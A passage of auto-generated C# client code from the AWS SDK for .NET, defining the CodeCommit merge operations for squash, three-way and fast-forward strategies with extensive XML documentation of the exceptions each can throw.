repository name is not valid. /// /// <note> /// <para> /// This exception only occurs when a specified repository name is not valid. Other exceptions /// occur when a required repository parameter is missing, or when a specified repository /// does not exist. /// </para> /// </note> /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidTargetBranchException"> /// The specified target branch is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.ManualMergeRequiredException"> /// The pull request cannot be merged automatically into the destination branch. You must /// manually merge the branches and resolve any conflicts. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.MaximumConflictResolutionEntriesExceededException"> /// The number of allowed conflict resolution entries was exceeded. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.MaximumFileContentToLoadExceededException"> /// The number of files to load exceeds the allowed limit. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.MaximumItemsToCompareExceededException"> /// The maximum number of items to compare between the source or destination branches /// and the merge base has exceeded the maximum allowed. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.MultipleConflictResolutionEntriesException"> /// More than one conflict resolution entries exists for the conflict. A conflict can /// have only one conflict resolution entry. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.NameLengthExceededException"> /// The user name is not valid because it has exceeded the character limit for author /// names. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.PathRequiredException"> /// The folderPath for a location cannot be null. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.ReplacementContentRequiredException"> /// USE_NEW_CONTENT was specified but no replacement content has been provided. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.ReplacementTypeRequiredException"> /// A replacement type is required. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.RepositoryDoesNotExistException"> /// The specified repository does not exist. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.RepositoryNameRequiredException"> /// A repository name is required but was not specified. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.TipsDivergenceExceededException"> /// The divergence between the tips of the provided commit specifiers is too great to /// determine whether there might be any merge conflicts. Locally compare the specifiers /// using <code>git diff</code> or a diff tool. /// </exception> /// <seealso href="http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/MergeBranchesBySquash">REST API Reference for MergeBranchesBySquash Operation</seealso> public virtual MergeBranchesBySquashResponse MergeBranchesBySquash(MergeBranchesBySquashRequest request) { var options = new InvokeOptions(); options.RequestMarshaller = MergeBranchesBySquashRequestMarshaller.Instance; options.ResponseUnmarshaller = MergeBranchesBySquashResponseUnmarshaller.Instance; return Invoke<MergeBranchesBySquashResponse>(request, options); } /// <summary> /// Merges two branches using the squash merge strategy. /// </summary> /// <param name="request">Container for the necessary parameters to execute the MergeBranchesBySquash service method.</param> /// <param name="cancellationToken"> /// A cancellation token that can be used by other objects or threads to receive notice of cancellation. /// </param> /// /// <returns>The response from the MergeBranchesBySquash service method, as returned by CodeCommit.</returns> /// <exception cref="Amazon.CodeCommit.Model.BranchDoesNotExistException"> /// The specified branch does not exist. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.BranchNameIsTagNameException"> /// The specified branch name is not valid because it is a tag name. Type the name of /// a current branch in the repository. For a list of valid branch names, use <a>ListBranches</a>. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.BranchNameRequiredException"> /// A branch name is required but was not specified. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.CommitDoesNotExistException"> /// The specified commit does not exist or no commit was specified, and the specified /// repository has no default branch. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.CommitMessageLengthExceededException"> /// The commit message is too long. Provide a shorter string. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.CommitRequiredException"> /// A commit was not specified. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.ConcurrentReferenceUpdateException"> /// The merge cannot be completed because the target branch has been modified. Another /// user might have modified the target branch while the merge was in progress. Wait a /// few minutes, and then try again. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionIntegrityChecksFailedException"> /// An encryption integrity check failed. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyAccessDeniedException"> /// An encryption key could not be accessed. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyDisabledException"> /// The encryption key is disabled. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyNotFoundException"> /// No encryption key was found. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyUnavailableException"> /// The encryption key is not available. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.FileContentSizeLimitExceededException"> /// The file cannot be added because it is too large. The maximum file size that can be /// added is 6 MB, and the combined file content change size is 7 MB. Consider making /// these changes using a Git client. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.FileModeRequiredException"> /// The commit cannot be created because a file mode is required to update mode permissions /// for an existing file, but no file mode has been specified. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.FolderContentSizeLimitExceededException"> /// The commit cannot be created because at least one of the overall changes in the commit /// results in a folder whose contents exceed the limit of 6 MB. Either reduce the number /// and size of your changes, or split the changes across multiple folders. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidBranchNameException"> /// The specified reference name is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidCommitException"> /// The specified commit is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidConflictDetailLevelException"> /// The specified conflict detail level is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidConflictResolutionException"> /// The specified conflict resolution list is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidConflictResolutionStrategyException"> /// The specified conflict resolution strategy is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidEmailException"> /// The specified email address either contains one or more characters that are not allowed, /// or it exceeds the maximum number of characters allowed for an email address. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidFileModeException"> /// The specified file mode permission is not valid. For a list of valid file mode permissions, /// see <a>PutFile</a>. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidPathException"> /// The specified path is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidReplacementContentException"> /// Automerge was specified for resolving the conflict, but the replacement type is not /// valid or content is missing. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidReplacementTypeException"> /// Automerge was specified for resolving the conflict, but the specified replacement /// type is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidRepositoryNameException"> /// At least one specified repository name is not valid. /// /// <note> /// <para> /// This exception only occurs when a specified repository name is not valid. Other exceptions /// occur when a required repository parameter is missing, or when a specified repository /// does not exist. /// </para> /// </note> /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidTargetBranchException"> /// The specified target branch is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.ManualMergeRequiredException"> /// The pull request cannot be merged automatically into the destination branch. You must /// manually merge the branches and resolve any conflicts. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.MaximumConflictResolutionEntriesExceededException"> /// The number of allowed conflict resolution entries was exceeded. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.MaximumFileContentToLoadExceededException"> /// The number of files to load exceeds the allowed limit. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.MaximumItemsToCompareExceededException"> /// The maximum number of items to compare between the source or destination branches /// and the merge base has exceeded the maximum allowed. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.MultipleConflictResolutionEntriesException"> /// More than one conflict resolution entries exists for the conflict. A conflict can /// have only one conflict resolution entry. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.NameLengthExceededException"> /// The user name is not valid because it has exceeded the character limit for author /// names. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.PathRequiredException"> /// The folderPath for a location cannot be null. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.ReplacementContentRequiredException"> /// USE_NEW_CONTENT was specified but no replacement content has been provided. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.ReplacementTypeRequiredException"> /// A replacement type is required. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.RepositoryDoesNotExistException"> /// The specified repository does not exist. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.RepositoryNameRequiredException"> /// A repository name is required but was not specified. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.TipsDivergenceExceededException"> /// The divergence between the tips of the provided commit specifiers is too great to /// determine whether there might be any merge conflicts. Locally compare the specifiers /// using <code>git diff</code> or a diff tool. /// </exception> /// <seealso href="http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/MergeBranchesBySquash">REST API Reference for MergeBranchesBySquash Operation</seealso> public virtual Task<MergeBranchesBySquashResponse> MergeBranchesBySquashAsync(MergeBranchesBySquashRequest request, System.Threading.CancellationToken cancellationToken = default(CancellationToken)) { var options = new InvokeOptions(); options.RequestMarshaller = MergeBranchesBySquashRequestMarshaller.Instance; options.ResponseUnmarshaller = MergeBranchesBySquashResponseUnmarshaller.Instance; return InvokeAsync<MergeBranchesBySquashResponse>(request, options, cancellationToken); } #endregion #region MergeBranchesByThreeWay /// <summary> /// Merges two specified branches using the three-way merge strategy. /// </summary> /// <param name="request">Container for the necessary parameters to execute the MergeBranchesByThreeWay service method.</param> /// /// <returns>The response from the MergeBranchesByThreeWay service method, as returned by CodeCommit.</returns> /// <exception cref="Amazon.CodeCommit.Model.BranchDoesNotExistException"> /// The specified branch does not exist. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.BranchNameIsTagNameException"> /// The specified branch name is not valid because it is a tag name. Type the name of /// a current branch in the repository. For a list of valid branch names, use <a>ListBranches</a>. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.BranchNameRequiredException"> /// A branch name is required but was not specified. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.CommitDoesNotExistException"> /// The specified commit does not exist or no commit was specified, and the specified /// repository has no default branch. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.CommitMessageLengthExceededException"> /// The commit message is too long. Provide a shorter string. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.CommitRequiredException"> /// A commit was not specified. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.ConcurrentReferenceUpdateException"> /// The merge cannot be completed because the target branch has been modified. Another /// user might have modified the target branch while the merge was in progress. Wait a /// few minutes, and then try again. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionIntegrityChecksFailedException"> /// An encryption integrity check failed. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyAccessDeniedException"> /// An encryption key could not be accessed. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyDisabledException"> /// The encryption key is disabled. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyNotFoundException"> /// No encryption key was found. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyUnavailableException"> /// The encryption key is not available. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.FileContentSizeLimitExceededException"> /// The file cannot be added because it is too large. The maximum file size that can be /// added is 6 MB, and the combined file content change size is 7 MB. Consider making /// these changes using a Git client. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.FileModeRequiredException"> /// The commit cannot be created because a file mode is required to update mode permissions /// for an existing file, but no file mode has been specified. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.FolderContentSizeLimitExceededException"> /// The commit cannot be created because at least one of the overall changes in the commit /// results in a folder whose contents exceed the limit of 6 MB. Either reduce the number /// and size of your changes, or split the changes across multiple folders. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidBranchNameException"> /// The specified reference name is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidCommitException"> /// The specified commit is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidConflictDetailLevelException"> /// The specified conflict detail level is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidConflictResolutionException"> /// The specified conflict resolution list is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidConflictResolutionStrategyException"> /// The specified conflict resolution strategy is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidEmailException"> /// The specified email address either contains one or more characters that are not allowed, /// or it exceeds the maximum number of characters allowed for an email address. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidFileModeException"> /// The specified file mode permission is not valid. For a list of valid file mode permissions, /// see <a>PutFile</a>. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidPathException"> /// The specified path is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidReplacementContentException"> /// Automerge was specified for resolving the conflict, but the replacement type is not /// valid or content is missing. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidReplacementTypeException"> /// Automerge was specified for resolving the conflict, but the specified replacement /// type is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidRepositoryNameException"> /// At least one specified repository name is not valid. /// /// <note> /// <para> /// This exception only occurs when a specified repository name is not valid. Other exceptions /// occur when a required repository parameter is missing, or when a specified repository /// does not exist. /// </para> /// </note> /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidTargetBranchException"> /// The specified target branch is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.ManualMergeRequiredException"> /// The pull request cannot be merged automatically into the destination branch. You must /// manually merge the branches and resolve any conflicts. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.MaximumConflictResolutionEntriesExceededException"> /// The number of allowed conflict resolution entries was exceeded. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.MaximumFileContentToLoadExceededException"> /// The number of files to load exceeds the allowed limit. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.MaximumItemsToCompareExceededException"> /// The maximum number of items to compare between the source or destination branches /// and the merge base has exceeded the maximum allowed. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.MultipleConflictResolutionEntriesException"> /// More than one conflict resolution entries exists for the conflict. A conflict can /// have only one conflict resolution entry. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.NameLengthExceededException"> /// The user name is not valid because it has exceeded the character limit for author /// names. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.PathRequiredException"> /// The folderPath for a location cannot be null. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.ReplacementContentRequiredException"> /// USE_NEW_CONTENT was specified but no replacement content has been provided. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.ReplacementTypeRequiredException"> /// A replacement type is required. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.RepositoryDoesNotExistException"> /// The specified repository does not exist. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.RepositoryNameRequiredException"> /// A repository name is required but was not specified. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.TipsDivergenceExceededException"> /// The divergence between the tips of the provided commit specifiers is too great to /// determine whether there might be any merge conflicts. Locally compare the specifiers /// using <code>git diff</code> or a diff tool. /// </exception> /// <seealso href="http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/MergeBranchesByThreeWay">REST API Reference for MergeBranchesByThreeWay Operation</seealso> public virtual MergeBranchesByThreeWayResponse MergeBranchesByThreeWay(MergeBranchesByThreeWayRequest request) { var options = new InvokeOptions(); options.RequestMarshaller = MergeBranchesByThreeWayRequestMarshaller.Instance; options.ResponseUnmarshaller = MergeBranchesByThreeWayResponseUnmarshaller.Instance; return Invoke<MergeBranchesByThreeWayResponse>(request, options); } /// <summary> /// Merges two specified branches using the three-way merge strategy. /// </summary> /// <param name="request">Container for the necessary parameters to execute the MergeBranchesByThreeWay service method.</param> /// <param name="cancellationToken"> /// A cancellation token that can be used by other objects or threads to receive notice of cancellation. /// </param> /// /// <returns>The response from the MergeBranchesByThreeWay service method, as returned by CodeCommit.</returns> /// <exception cref="Amazon.CodeCommit.Model.BranchDoesNotExistException"> /// The specified branch does not exist. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.BranchNameIsTagNameException"> /// The specified branch name is not valid because it is a tag name. Type the name of /// a current branch in the repository. For a list of valid branch names, use <a>ListBranches</a>. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.BranchNameRequiredException"> /// A branch name is required but was not specified. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.CommitDoesNotExistException"> /// The specified commit does not exist or no commit was specified, and the specified /// repository has no default branch. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.CommitMessageLengthExceededException"> /// The commit message is too long. Provide a shorter string. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.CommitRequiredException"> /// A commit was not specified. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.ConcurrentReferenceUpdateException"> /// The merge cannot be completed because the target branch has been modified. Another /// user might have modified the target branch while the merge was in progress. Wait a /// few minutes, and then try again. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionIntegrityChecksFailedException"> /// An encryption integrity check failed. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyAccessDeniedException"> /// An encryption key could not be accessed. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyDisabledException"> /// The encryption key is disabled. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyNotFoundException"> /// No encryption key was found. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyUnavailableException"> /// The encryption key is not available. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.FileContentSizeLimitExceededException"> /// The file cannot be added because it is too large. The maximum file size that can be /// added is 6 MB, and the combined file content change size is 7 MB. Consider making /// these changes using a Git client. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.FileModeRequiredException"> /// The commit cannot be created because a file mode is required to update mode permissions /// for an existing file, but no file mode has been specified. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.FolderContentSizeLimitExceededException"> /// The commit cannot be created because at least one of the overall changes in the commit /// results in a folder whose contents exceed the limit of 6 MB. Either reduce the number /// and size of your changes, or split the changes across multiple folders. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidBranchNameException"> /// The specified reference name is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidCommitException"> /// The specified commit is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidConflictDetailLevelException"> /// The specified conflict detail level is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidConflictResolutionException"> /// The specified conflict resolution list is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidConflictResolutionStrategyException"> /// The specified conflict resolution strategy is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidEmailException"> /// The specified email address either contains one or more characters that are not allowed, /// or it exceeds the maximum number of characters allowed for an email address. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidFileModeException"> /// The specified file mode permission is not valid. For a list of valid file mode permissions, /// see <a>PutFile</a>. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidPathException"> /// The specified path is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidReplacementContentException"> /// Automerge was specified for resolving the conflict, but the replacement type is not /// valid or content is missing. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidReplacementTypeException"> /// Automerge was specified for resolving the conflict, but the specified replacement /// type is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidRepositoryNameException"> /// At least one specified repository name is not valid. /// /// <note> /// <para> /// This exception only occurs when a specified repository name is not valid. Other exceptions /// occur when a required repository parameter is missing, or when a specified repository /// does not exist. /// </para> /// </note> /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidTargetBranchException"> /// The specified target branch is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.ManualMergeRequiredException"> /// The pull request cannot be merged automatically into the destination branch. You must /// manually merge the branches and resolve any conflicts. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.MaximumConflictResolutionEntriesExceededException"> /// The number of allowed conflict resolution entries was exceeded. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.MaximumFileContentToLoadExceededException"> /// The number of files to load exceeds the allowed limit. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.MaximumItemsToCompareExceededException"> /// The maximum number of items to compare between the source or destination branches /// and the merge base has exceeded the maximum allowed. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.MultipleConflictResolutionEntriesException"> /// More than one conflict resolution entries exists for the conflict. A conflict can /// have only one conflict resolution entry. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.NameLengthExceededException"> /// The user name is not valid because it has exceeded the character limit for author /// names. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.PathRequiredException"> /// The folderPath for a location cannot be null. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.ReplacementContentRequiredException"> /// USE_NEW_CONTENT was specified but no replacement content has been provided. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.ReplacementTypeRequiredException"> /// A replacement type is required. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.RepositoryDoesNotExistException"> /// The specified repository does not exist. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.RepositoryNameRequiredException"> /// A repository name is required but was not specified. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.TipsDivergenceExceededException"> /// The divergence between the tips of the provided commit specifiers is too great to /// determine whether there might be any merge conflicts. Locally compare the specifiers /// using <code>git diff</code> or a diff tool. /// </exception> /// <seealso href="http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/MergeBranchesByThreeWay">REST API Reference for MergeBranchesByThreeWay Operation</seealso> public virtual Task<MergeBranchesByThreeWayResponse> MergeBranchesByThreeWayAsync(MergeBranchesByThreeWayRequest request, System.Threading.CancellationToken cancellationToken = default(CancellationToken)) { var options = new InvokeOptions(); options.RequestMarshaller = MergeBranchesByThreeWayRequestMarshaller.Instance; options.ResponseUnmarshaller = MergeBranchesByThreeWayResponseUnmarshaller.Instance; return InvokeAsync<MergeBranchesByThreeWayResponse>(request, options, cancellationToken); } #endregion #region MergePullRequestByFastForward /// <summary> /// Attempts to merge the source commit of a pull request into the specified destination /// branch for that pull request at the specified commit using the fast-forward merge /// strategy. If the merge is successful, it closes the pull request. /// </summary> /// <param name="request">Container for the necessary parameters to execute the MergePullRequestByFastForward service method.</param> /// /// <returns>The response from the MergePullRequestByFastForward service method, as returned by CodeCommit.</returns> /// <exception cref="Amazon.CodeCommit.Model.ConcurrentReferenceUpdateException"> /// The merge cannot be completed because the target branch has been modified. Another /// user might have modified the target branch while the merge was in progress. Wait a /// few minutes, and then try again. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionIntegrityChecksFailedException"> /// An encryption integrity check failed. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyAccessDeniedException"> /// An encryption key could not be accessed. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyDisabledException"> /// The encryption key is disabled. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyNotFoundException"> /// No encryption key was found. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyUnavailableException"> /// The encryption key is not available. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidCommitIdException"> /// The specified commit ID is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidPullRequestIdException"> /// The pull request ID is not valid. Make sure that you have provided the full ID and /// that the pull request is in the specified repository, and then try again. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidRepositoryNameException"> /// At least one specified repository name is not valid. /// /// <note> /// <para> /// This exception only occurs when a specified repository name is not valid. Other exceptions /// occur when a required repository parameter is missing, or when a specified repository /// does not exist. /// </para> /// </note> /// </exception> /// <exception cref="Amazon.CodeCommit.Model.ManualMergeRequiredException"> /// The pull request cannot be merged automatically into the destination branch. You must /// manually merge the branches and resolve any conflicts. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.PullRequestAlreadyClosedException"> /// The pull request status cannot be updated because it is already closed. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.PullRequestDoesNotExistException"> /// The pull request ID could not be found. Make sure that you have specified the correct /// repository name and pull request ID, and then try again. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.PullRequestIdRequiredException"> /// A pull request ID is required, but none was provided. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.ReferenceDoesNotExistException"> /// The specified reference does not exist. You must provide a full commit ID. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.RepositoryDoesNotExistException"> /// The specified repository does not exist. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.RepositoryNameRequiredException"> /// A repository name is required but was not specified. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.RepositoryNotAssociatedWithPullRequestException"> /// The repository does not contain any pull requests with that pull request ID. Use GetPullRequest /// to verify the correct repository name for the pull request ID. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.TipOfSourceReferenceIsDifferentException"> /// The tip of the source branch in the destination repository does not match the tip /// of the source branch specified in your request. The pull request might have been updated. /// Make sure that you have the latest changes. /// </exception> /// <seealso href="http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/MergePullRequestByFastForward">REST API Reference for MergePullRequestByFastForward Operation</seealso> public virtual MergePullRequestByFastForwardResponse MergePullRequestByFastForward(MergePullRequestByFastForwardRequest request) { var options = new InvokeOptions(); options.RequestMarshaller = MergePullRequestByFastForwardRequestMarshaller.Instance; options.ResponseUnmarshaller = MergePullRequestByFastForwardResponseUnmarshaller.Instance; return Invoke<MergePullRequestByFastForwardResponse>(request, options); } /// <summary> /// Attempts to merge the source commit of a pull request into the specified destination /// branch for that pull request at the specified commit using the fast-forward merge /// strategy. If the merge is successful, it closes the pull request. /// </summary> /// <param name="request">Container for the necessary parameters to execute the MergePullRequestByFastForward service method.</param> /// <param name="cancellationToken"> /// A cancellation token that can be used by other objects or threads to receive notice of cancellation. /// </param> /// /// <returns>The response from the MergePullRequestByFastForward service method, as returned by CodeCommit.</returns> /// <exception cref="Amazon.CodeCommit.Model.ConcurrentReferenceUpdateException"> /// The merge cannot be completed because the target branch has been modified. Another /// user might have modified the target branch while the merge was in progress. Wait a /// few minutes, and then try again. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionIntegrityChecksFailedException"> /// An encryption integrity check failed. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyAccessDeniedException"> /// An encryption key could not be accessed. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyDisabledException"> /// The encryption key is disabled. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyNotFoundException"> /// No encryption key was found. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyUnavailableException"> /// The encryption key is not available. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidCommitIdException"> /// The specified commit ID is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidPullRequestIdException"> /// The pull request ID is not valid. Make sure that you have provided the full ID and /// that the pull request is in the specified repository, and then try again. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidRepositoryNameException"> /// At least one specified repository name is not valid. /// /// <note> /// <para> /// This exception only occurs when a specified repository name is not valid. Other exceptions /// occur when a required repository parameter is missing, or when a specified repository /// does not exist. /// </para> /// </note> /// </exception> /// <exception cref="Amazon.CodeCommit.Model.ManualMergeRequiredException"> /// The pull request cannot be merged automatically into the destination branch. You must /// manually merge the branches and resolve any conflicts. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.PullRequestAlreadyClosedException"> /// The pull request status cannot be updated because it is already closed. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.PullRequestDoesNotExistException"> /// The pull request ID could not be found. Make sure that you have specified the correct /// repository name and pull request ID, and then try again. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.PullRequestIdRequiredException"> /// A pull request ID is required, but none was provided. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.ReferenceDoesNotExistException"> /// The specified reference does not exist. You must provide a full commit ID. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.RepositoryDoesNotExistException"> /// The specified repository does not exist. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.RepositoryNameRequiredException"> /// A repository name is required but was not specified. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.RepositoryNotAssociatedWithPullRequestException"> /// The repository does not contain any pull requests with that pull request ID. Use GetPullRequest /// to verify the correct repository name for the pull request ID. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.TipOfSourceReferenceIsDifferentException"> /// The tip of the source branch in the destination repository does not match the tip /// of the source branch specified in your request. The pull request might have been updated. /// Make sure that you have the latest changes. /// </exception> /// <seealso href="http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/MergePullRequestByFastForward">REST API Reference for MergePullRequestByFastForward Operation</seealso> public virtual Task<MergePullRequestByFastForwardResponse> MergePullRequestByFastForwardAsync(MergePullRequestByFastForwardRequest request, System.Threading.CancellationToken cancellationToken = default(CancellationToken)) { var options = new InvokeOptions(); options.RequestMarshaller = MergePullRequestByFastForwardRequestMarshaller.Instance; options.ResponseUnmarshaller = MergePullRequestByFastForwardResponseUnmarshaller.Instance; return InvokeAsync<MergePullRequestByFastForwardResponse>(request, options, cancellationToken); } #endregion #region MergePullRequestBySquash /// <summary> /// Attempts to merge the source commit of a pull request into the specified destination /// branch for that pull request at the specified commit using the squash merge strategy. /// If the merge is successful, it closes the pull request. /// </summary> /// <param name="request">Container for the necessary parameters to execute the MergePullRequestBySquash service method.</param> /// /// <returns>The response from the MergePullRequestBySquash service method, as returned by CodeCommit.</returns> /// <exception cref="Amazon.CodeCommit.Model.CommitMessageLengthExceededException"> /// The commit message is too long. Provide a shorter string. /// </exception> /// <exception 